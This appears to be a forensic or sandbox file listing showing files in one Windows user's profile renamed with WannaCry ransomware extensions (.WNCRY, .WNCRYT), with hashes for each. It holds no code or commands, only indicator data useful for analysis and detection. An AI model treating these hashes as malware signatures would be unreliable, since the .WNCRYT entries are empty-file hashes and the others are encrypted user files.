C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Notebook.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\OrangeCircles.jpg.WNCRY (copy)	Type: MD5: 01A52B20E2EF37016E86C2FB0E972A23 SHA: 9F8473FB444DC3E760CEA09CB53FA51CDA2BDC70 SHA-256: EBD517B9A57CE59557BD6A4F47166DA4041ABD0B91E6421025E4D56CDEF7D879 SHA-512: D435FFFE922B42225EB1A18565B1D691A09C8A90B8856D83F7B9589089D26B44E5AE4699877FE791B6B7B29FD84FFB129EEB6F335C1E5C550FEB6E1B4AE64CA6	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\OrangeCircles.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Peacock.jpg.WNCRY (copy)	Type: MD5: 575B90DF3FA7FD5CA31D8A5AE06ECDB4 SHA: F666E0522D11AE9625B056F2EAE1BE9CA89E1C54 SHA-256: 0780F38634F22799698174A62C22C9CF46E0CB14C45FA178FE66D9E92790548A SHA-512: 025C3430CFD2318C968876C8D0F538C764EF918E4539F3238C62DD6CDD5CE79A1A0341840EBEDC573AE2272032E6C0E038B827DEA184E519AF1DFA3C475DF64F	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Peacock.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Pine_Lumber.jpg.WNCRY (copy)	Type: MD5: BFD84995831D5747F2AAC76A2FF9ED34 SHA: 2A0942F013CA2AE2F5D63BF41311D7DA9C7998C2 SHA-256: B883B7FB8B38341384BBEA22B485EFBF8BB4F2A52E10CE4208E717F07DD3A75C SHA-512: 0A7A168F434FDED223DCCEACB50A537CE8E671C8188F17B3889B37DE0C86F976F56178B4F244853C1FC09AB0FD456C3D6378C4CBC0E7157B95DE120512869893	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Pine_Lumber.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Pretty_Peacock.jpg.WNCRY (copy)	Type: MD5: 4E2FB72B42F00F043725725E61A7B8E7 SHA: 062523DFCEAEAD24AEF5DC4A5C40138B161BCC87 SHA-256: 60AC0394B3CF3BB195FEB449A9CEBC91FF8BD51C8989F3CF22090FAF4FDE6FF5 SHA-512: BDFC46B5EF8E2276F7CC05126B4EA9272B8EDD647584E8CB63C03343B2B8EC58028ED1EF83F7405EB6AC642D2334B07C7F49DF7FB247D17FAA905A8E700EE779	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Pretty_Peacock.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Psychedelic.jpg.WNCRY (copy)	Type: MD5: E200E448655D9837CC8A67AA352B71EC SHA: 02E4C43B5B2C4DDD4032C1F465707D88A9BC2E58 SHA-256: 823A16804F5C58BD0248CC64167970FCCFBC0A62CBF4BB8DFD85956EB0E42459 SHA-512: 0DC5B60D5458472726D8D6A8713224C825B90FF539A8DB5BD20E45DBA193F96B4D7C8E1C43B2F1E89FB87408AFAC7C9370B6EB72E79E8FD6CB196D8205240282	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Psychedelic.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Roses.jpg.WNCRY (copy)	Type: MD5: 66071FF28FF6B5DB25420CA2B5DE1260 SHA: 6709B1986ECA03BB42E69E812AC3EB9A2297B083 SHA-256: 42A8A78E34BE4DD7A6EA88B64DDB2A291399D106A27ABD2F4F2D578A96DB59F0 SHA-512: EAFE4CC2FD359136208F76ABD7FC549ED3D7770FB39BC67C8A54C744EBF5E8C673597068F9ACB57A92E9EF859E742CB8A45849882CE9B3E8958800B4AFA3F933	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Roses.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Sand_Paper.jpg.WNCRY (copy)	Type: MD5: D2BCF6336D0455AFADE5BB7CD7481472 SHA: E1CCF239FCDD496C34D1AF7E33BC89722513C124 SHA-256: C670F734BC5D8F27A7D76434278193B2E7502B6434307F02BB80D022B47813DA SHA-512: 63BFF62D66333AE3F2D7DE34705BFF98356FEF79AEC65AF36F1525876905A19698647A8A3864D79C843F9F8615E9E92D289BFBFF2D94FB390D63C22F96DB68A7	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Sand_Paper.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\ShadesOfBlue.jpg.WNCRY (copy)	Type: MD5: 8C6A9AC8341AA40D71891C1A55C630BA SHA: 4A8F8FDEC6419B42253239240E9C23DEDB110549 SHA-256: 3CADF8B1737E760A50B53419C547B8419EEF011643C1F22EA84701F7127E5D56 SHA-512: 751C16C1959EE53C7D7E40D8EF4E8A4F6EA63B90C5E21BDC6654113080C7D2C78B16A77E7E43F99B17359B71FFE5FD6C721E00100A9063247FA9C44C30631AEE	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\ShadesOfBlue.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Small_News.jpg.WNCRY (copy)	Type: MD5: 100D67BC9FA3F8DCC89EC33D5A2EB41A SHA: 96C42BCEB09B2080F49023E31592C54CF6A0D55F SHA-256: B32276034EA2310B6267E1FB52554BEC09112D5884977FD5EBAC900ABF42FD2E SHA-512: 66A64A532E68306B922ED663992E317DE0EDA4F75A3CCCD6AE5B9E9874182108C519CDF1068B50E72567170977FCCA686C5972C6D37247B496421D33F0C913C2	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Small_News.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\SoftBlue.jpg.WNCRY (copy)	Type: MD5: 05E71CC780B7154D584B4276F1CFD122 SHA: E0EE23003FDFEA3A9E05CC5FBEEC59C937AA14A9 SHA-256: 65F4C119C8245B32AF51EBA5B24EC515A13660AC432C016A5C026AFA90A0B062 SHA-512: F078CB5ADD3C9BC7295BB522332A815CF397D2BC6898C3C96DEC7464F7EEFDC41E280A862B6F0D57512EBE3F4FE58616D7EE109194CA4B89D35B9E0D773CEF6B	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\SoftBlue.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Stars.jpg.WNCRY (copy)	Type: MD5: 9DBEC5609D9CC414689035DEEA4F37F8 SHA: FD07D38B6B16AC784EB71249FE0AC87F7963E7A1 SHA-256: F9AFD390B70DEDB215B86792875BB9353F0C14E64EFD28472276C8E53A4F1D9E SHA-512: 24D5E573581AAA03C5EC94A317D8379CA57F5A3EEA33EE57D0D0E5C64221FF4826FCB7A2EE509FC1DAB667CD68A0BE44CEA2C88473ED014A52BA18EC94CE9ABF	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Stars.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Stucco.gif.WNCRY (copy)	Type: MD5: F33399B74007F4795362E1FF2CE784E6 SHA: EC4ACBDD314A7D174FCB2D719C9556DDE60D1693 SHA-256: 6AB1E2D422D8295AEA6BD803AB59DC4A22BF88231EAEE3E00E9E9F728C9BEBE9 SHA-512: D18E23EFFC691F8B6C6EEFF74B8420688C13A3DD0F6BC355E000952E9AC80D1FD5F8BA9BD80590DEAA88432C3F3674732761118ED8FA23C7D4E62C16CA5E376C	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Stucco.gif.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Tanspecks.jpg.WNCRY (copy)	Type: MD5: 6DAAAD02878C9195AA2C85B8AEDB4E34 SHA: 4C12492FE9BC91B15EAE1E6C0DAD71D676FFA7CD SHA-256: 54CEE56A4A47FAC8D08977664FB03732D7CA1DB323FF30F9A97A76545CFA28C5 SHA-512: 824B497123AC8E3D2C32F8AC99D65C9B2D7E7DF7A2B1E0E900CD21CF79788E925E176D1CB2896549745C89C72DA7E8B8597D98D249D55CCFAC1D6628EFD9A989	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Tanspecks.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Tiki.gif.WNCRY (copy)	Type: MD5: 782F3FCEBD96927BFE2DCA27B543AAA3 SHA: 68E9D944BC4293CC464A71C4A3F1D9D5A49EAB3B SHA-256: AE4AB78A1441955C01E3AEC8CFF87BCAA60335809C76091A17AABC8E11BC9801 SHA-512: 2799CFB3E97DD3C62E45BF410FC3CC7A2276CFCD9465110106B1B8D1D4FF1446C2261CAFE2A213EB06E14129C6726BB9C5319EC87E478710A249EAE8F80DED29	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Tiki.gif.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\White_Chocolate.jpg.WNCRY (copy)	Type: MD5: BA1AC529F1E0345918543DD36DF0C57F SHA: 8183B966C4FAA6CEF2B23D553F9BD2FFC93F9339 SHA-256: E75A4DDCD903C768EBABBF60242B643D4B498C73F025C1DE109D76A47B3BF4EB SHA-512: E1AF3E0BA9F8501E7CC1729C4D196162C7225BB34CAF0DB94119D5B0646C935AD6CC40D15C66700B430008108A178CBBBE59C9CF0E714FA24B5BBCFB11933922	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\White_Chocolate.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Wrinkled_Paper.gif.WNCRY (copy)	Type: MD5: 2A33304631602CEE8527E030279959BC SHA: 9AAD1A9A9801EE27819364FF0A3DE362253AF4B2 SHA-256: 1C7A07A9B5B6F3B2767CE0FE5E6C0D28091E2AFB8E5334B061D356122CD27A0D SHA-512: E1B7D8E08EB4323A5541B58F7D5AB104778D8D9FDDA9031BF3669ED804B85E86A741FBC14D38118E60F26721F7BEAD9214EA3E532699DB9E1B4CCE03466C5022	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Wrinkled_Paper.gif.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1024.db.WNCRY (copy)	Type: MD5: E7295F916E1129C1258DB235F78E5EE4 SHA: FF5A55CA8347A23506047526872273B8BCB37B0A SHA-256: 575EF2C2B826E86146C8E06313471E0949937B88FC146108A634F9EDE67BB2EC SHA-512: E4DE9FF2009A7CDD972A2BD50B00C685FCCF195BE7F1DD6B3E46621F36CFF28E6C4682F0213A26E03F7B8A4FB9C94FE4E57D20A178416A8CC250F1F6F4426418	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1024.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy)	Type: MD5: 134AB31B47C731A5FD164192E6D43A5D SHA: 965C9121FADFD1BB7C7FCA1CFEFED3720E9AFF7B SHA-256: ECB1067A9BD011860F7B02FD0F006EE3119F093AD244FDAF5A7F462959E40622 SHA-512: DE9527164999C428823E410F6BCFC5995FACB766FB2C68BDB1D66D89CE1B698D3CBFFB77378D49002173A31F428D30169743799CED919B393DE871D3F353BA86	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy)	Type: MD5: 67D1872ED404F114C4E9AC7DD52085B6 SHA: 0DFFE20D005B744E77979242A8BA9AC65F697521 SHA-256: CA4C679C6FE81AD30756414B6FE52BBEC457275C0FE195BC3374D07BD11511DC SHA-512: 959617C3B47B79B1AB9BE7A76243B095EC7F9A644C7CEC488B8A71BE70848FA378F67A50205D86169031D6FD5305147BC5501FF803B23AAA44C064020291E822	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy)	Type: MD5: 16A75D07CD0102CD33908B12EF944A4B SHA: B36DC59A54DBCD03199395DFC71131B4FA10438B SHA-256: F16624A29DE9CE5B075A9F2A5FC54FA6D6579F2051931ED3F584DC3D65D70C92 SHA-512: 983B5CE84185B2080E16E1B967AABBE8ABE3251025C9AE62376F2881EE774D555E3DA52771BA8196F933198D2F9BD797F41900462EC36B2F7608870A41AEE4B4	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy)	Type: MD5: 77FB3B74028DBC6936C23CC7D921104D SHA: 4F3C8850BAADD53C7D6B8C6C13D0ABC6A6A72478 SHA-256: 9F4D212530356FC0E0FC81DF1CC6133C2BBF17D6B26F50A481910D57B3A52766 SHA-512: 2414AF530308E0A8F497B4F815D0E5FF4206EA003A589CC65AB17D4788914559DF8B00C06F323965CB14AC8EDA6342E8FE904556344EB933F4A34A22830E151B	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.WNCRY (copy)	Type: MD5: 2DDBF3307B4C7CE58C996957BCCAC285 SHA: 9FD0029B0D2A6CFC48FE4C238266497A207F52B4 SHA-256: 6DBE03637A5B70332F8B202A65F4F2951461477826ABB02BD7589D7970CFA440 SHA-512: 9D4D507117ED78A7FF1F7C7E6510D2570A36031E31108070A09C4423109FBE6AECBD299B1B957A8875B7FBC9336D5567CE2523253BF49DD411274F95BDD5005F	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx.WNCRY (copy)	Type: MD5: BE0631C3243DD5EA8A3AA72265351002 SHA: 0AE60EDF82C47AD6DA3B8210E72257BE994C05AA SHA-256: 5E7BC1DC7CF5D05253BCB73194BEC679F6B78EF2EE16ED1A3148CA1FCEAA2306 SHA-512: 77EDBFA392AC197DE9F3D4169B28DB4BDE036BE401CFB9F6B7E5F81C02EBED0FF23FD633D767A747F2EB9A8CF2554D617610D7CE8DDBD47969E226D04EF5983C	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Word Document Building Blocks\1033\TM01793060[[fn=Origin]].dotx.WNCRY (copy)	Type: MD5: 16DEBF41AD6F3AF8CD57CAEAE31B5024 SHA: A35BB8EA0968A89AB22A5B7499F7360F9A6DE6BC SHA-256: 7FC4C41CC41FAB20FE5682F997A7A477F662F2806B947139EAB42A19189040C2 SHA-512: 29CF86AD2998B6304ADB87A8343E7ADD22B4AA240321BE7D8F425F6FC1ABA1140EE16798CC41BEE0BAB8AC33CC8275E9CB71757B269A919B54BD67B743D8301C	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Word Document Building Blocks\1033\TM01793060[[fn=Origin]].dotx.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Templates\Normal.dotm.WNCRY (copy)	Type: MD5: C07B3F1CB2119BE505051FE37F9B5C1F SHA: 80593B6DA7B6A5435EB7E24E6C36249F98CB1C63 SHA-256: CB2BF8D8512E462D5DCD93A9367B50AE8A99EB4F016876CDC79A05FA6CBBABF9 SHA-512: 8A84194B1B1A1F4329367006A4EB6EE7BA1EE46DA0D3806D35CED7F90F14AC1444B484E2F8A56DB43C2E9BB51FFF6905C01069AB09FF9E1E3C2DF75CD8DD9434	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Templates\Normal.dotm.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\6SKQ9IC9.txt.WNCRY (copy)	Type: MD5: 04F2578C0A8D70D54FB9DBCBA71AE3E9 SHA: 7767CBF134E9FCC2C133F1B1470EF2C2EC8035BC SHA-256: A496F3CF33DB3F95965EBD15A3C7D4C63FD18E1C8AC2542C2A653B35D545362B SHA-512: 7C6D9D0699157ADBEEC7E8A4A0C1FA42345785A51487388F4F776F4ACF7498858BCDE41094EDFF4E96E69C72FAB1E818370718972D2C79873FCF1A378C53540C	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\6SKQ9IC9.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\70BQC459.txt.WNCRY (copy)	Type: MD5: 078A762CAA6360AEF548A15A903514A6 SHA: 01014C581F4C9E0FB3D8A18C8F7A20D8E52B6357 SHA-256: 0A4BB259FA54A854B7F364FCB0EFDE793048A3278462CC2B4E42D27A691BC9AF SHA-512: 95623EBEBC3BA2529A9FF8B9BD18AF8B6D4F28C7442AF95293874D797CBDFFEF162D5AC4BC1C456EC778A6963F0C4A863CF50946ADCCD8AC71B0810CC308A439	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\70BQC459.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\BQV5SLZ9.txt.WNCRY (copy)	Type: MD5: 71821D13B81B8D2C4A322FCEBB57A7DE SHA: C915CD9BB2430E2647308B7A85F1B10F1FF97FFA SHA-256: 15DD6436D58B52DCB415AB5B94BEC2A7C141083D44D5E619F3EA9F080853E3FC SHA-512: 974F7014A4D66F77D0F872EC3FFAABAC1E28BFAF45F16A755D6111479C2D53AD294F9F0DADD240901C265FF3BA448290647EEB432A98DFCC04BA8560952BE346	false
